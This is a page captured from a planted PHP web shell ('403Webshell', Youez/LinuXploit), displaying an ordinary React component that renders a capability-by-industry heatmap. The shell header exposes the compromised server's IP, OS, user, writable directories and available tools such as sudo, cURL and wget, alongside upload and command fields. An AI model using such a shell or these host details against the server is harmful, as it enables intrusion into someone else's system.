403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/codex/current/web/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/codex/current/web/src/components/CapabilityMatrix.tsx
'use client';

import { useState } from 'react';
import type { CapabilityCategoryMatrix, DrillDownQuery } from '@/lib/codex-api';
import { DrillDownModal } from './DrillDownModal';

type Props = {
    matrix: CapabilityCategoryMatrix;
};

/**
 * Capability-category × industry matrix.
 *
 * The headline view at /heatmap. Categories on rows (~9), industries on
 * columns (~10). Cell shows project count with a 4-bucket color ramp;
 * tooltip surfaces the capability count. Empty cells render a dim ·.
 *
 * Every label and every non-zero cell is a click target — opens the
 * DrillDownModal scoped to that selection. The matrix payload is
 * server-rendered into props; the modal fetches its own data on demand.
 */
export function CapabilityMatrix({ matrix }: Props) {
    const { categories, industries, cells } = matrix;
    const [activeQuery, setActiveQuery] = useState<DrillDownQuery | null>(null);
    const [activeTitle, setActiveTitle] = useState<string>('');

    const lookup = new Map<string, { project_count: number; capability_count: number }>();
    for (const cell of cells) {
        lookup.set(`${cell.category}|${cell.industry_slug}`, {
            project_count: cell.project_count,
            capability_count: cell.capability_count,
        });
    }

    function openCategory(name: string) {
        setActiveQuery({ category: name });
        setActiveTitle(name);
    }
    function openIndustry(slug: string, name: string) {
        setActiveQuery({ industry: slug });
        setActiveTitle(name);
    }
    function openCell(category: string, industrySlug: string, industryName: string) {
        setActiveQuery({ category, industry: industrySlug });
        setActiveTitle(`${category} × ${industryName}`);
    }

    return (
        <>
            <div className="overflow-x-auto -mx-6 px-6">
                <table className="border-separate border-spacing-[3px] text-sm">
                    <caption className="sr-only">
                        Capability category × industry matrix. Rows are capability
                        categories, columns are industries, cells show project counts.
                        Click any label or non-empty cell to see the projects and
                        packages it represents.
                    </caption>
                    <thead>
                        <tr>
                            <th
                                scope="col"
                                className="text-left text-xs font-medium text-(--color-ink-dim) pb-2 pr-4 sticky left-0 bg-(--color-paper) z-10"
                            >
                                Category
                            </th>
                            {industries.map((i) => (
                                <th
                                    key={i.slug}
                                    scope="col"
                                    className="pb-2 px-1 align-bottom whitespace-nowrap min-w-[2.75rem]"
                                >
                                    <button
                                        type="button"
                                        onClick={() => openIndustry(i.slug, i.name)}
                                        className="text-xs font-medium text-(--color-ink-dim) hover:text-(--color-accent) [writing-mode:vertical-rl] rotate-180 cursor-pointer bg-transparent border-0 p-0"
                                        title={`${i.name}: ${i.project_count} project${i.project_count === 1 ? '' : 's'}`}
                                    >
                                        {i.name}{' '}
                                        <span className="text-(--color-ink-dim)/60">({i.project_count})</span>
                                    </button>
                                </th>
                            ))}
                            <th
                                scope="col"
                                className="text-xs font-medium text-(--color-ink-dim) pb-2 pl-3 align-bottom"
                            >
                                Total
                            </th>
                        </tr>
                    </thead>
                    <tbody>
                        {categories.map((cat) => (
                            <tr key={cat.name}>
                                <th
                                    scope="row"
                                    className="text-left font-medium text-(--color-ink) pr-4 py-1 whitespace-nowrap sticky left-0 bg-(--color-paper) z-10"
                                >
                                    <button
                                        type="button"
                                        onClick={() => openCategory(cat.name)}
                                        className="text-(--color-ink) hover:text-(--color-accent) cursor-pointer bg-transparent border-0 p-0 font-medium text-left"
                                    >
                                        {cat.name}{' '}
                                        <span className="text-xs font-normal text-(--color-ink-dim)">
                                            ({cat.capability_count})
                                        </span>
                                    </button>
                                </th>
                                {industries.map((i) => {
                                    const cell = lookup.get(`${cat.name}|${i.slug}`);
                                    const projectCount = cell?.project_count ?? 0;
                                    const capabilityCount = cell?.capability_count ?? 0;
                                    const title =
                                        projectCount === 0
                                            ? `${cat.name} × ${i.name}: no projects`
                                            : `${cat.name} × ${i.name}: ${projectCount} project${projectCount === 1 ? '' : 's'}, ${capabilityCount} capabilit${capabilityCount === 1 ? 'y' : 'ies'} — click for cards`;
                                    return (
                                        <td
                                            key={i.slug}
                                            className="p-0 text-center align-middle"
                                        >
                                            {projectCount === 0 ? (
                                                <div
                                                    className="flex items-center justify-center w-10 h-10 text-(--color-paper-dim) rounded-sm"
                                                    title={title}
                                                >
                                                    ·
                                                </div>
                                            ) : (
                                                <button
                                                    type="button"
                                                    onClick={() => openCell(cat.name, i.slug, i.name)}
                                                    title={title}
                                                    className={
                                                        'flex items-center justify-center w-10 h-10 rounded-sm cursor-pointer transition-colors hover:ring-2 hover:ring-(--color-accent) ' +
                                                        cellClass(projectCount)
                                                    }
                                                >
                                                    {projectCount}
                                                </button>
                                            )}
                                        </td>
                                    );
                                })}
                                <td className="pl-3 py-1 text-right text-xs text-(--color-ink-dim) whitespace-nowrap">
                                    {cat.project_count} proj
                                </td>
                            </tr>
                        ))}
                    </tbody>
                </table>
                <div className="mt-4 flex items-center gap-4 flex-wrap text-xs text-(--color-ink-dim)">
                    <span>Intensity:</span>
                    <Swatch label="1-2" className="bg-(--color-accent-soft) text-(--color-accent)" />
                    <Swatch label="3-5" className="bg-(--color-accent)/40 text-(--color-ink)" />
                    <Swatch label="6+" className="bg-(--color-accent) text-white" />
                    <span className="ml-auto max-w-md text-right">
                        Click a category, industry, or cell to see the projects and packages behind it.
                    </span>
                </div>
            </div>

            <DrillDownModal
                query={activeQuery}
                fallbackTitle={activeTitle}
                onClose={() => setActiveQuery(null)}
            />
        </>
    );
}

function cellClass(projectCount: number): string {
    if (projectCount <= 2) return 'bg-(--color-accent-soft) text-(--color-accent)';
    if (projectCount <= 5) return 'bg-(--color-accent)/40 text-(--color-ink) font-medium';
    return 'bg-(--color-accent) text-white font-semibold';
}

function Swatch({ label, className }: { label: string; className: string }) {
    return (
        <span className="inline-flex items-center gap-1.5">
            <span aria-hidden="true" className={`inline-block w-5 h-5 rounded-sm ${className}`} />
            <span>{label}</span>
        </span>
    );
}

Youez - 2016 - github.com/yon3zu
LinuXploit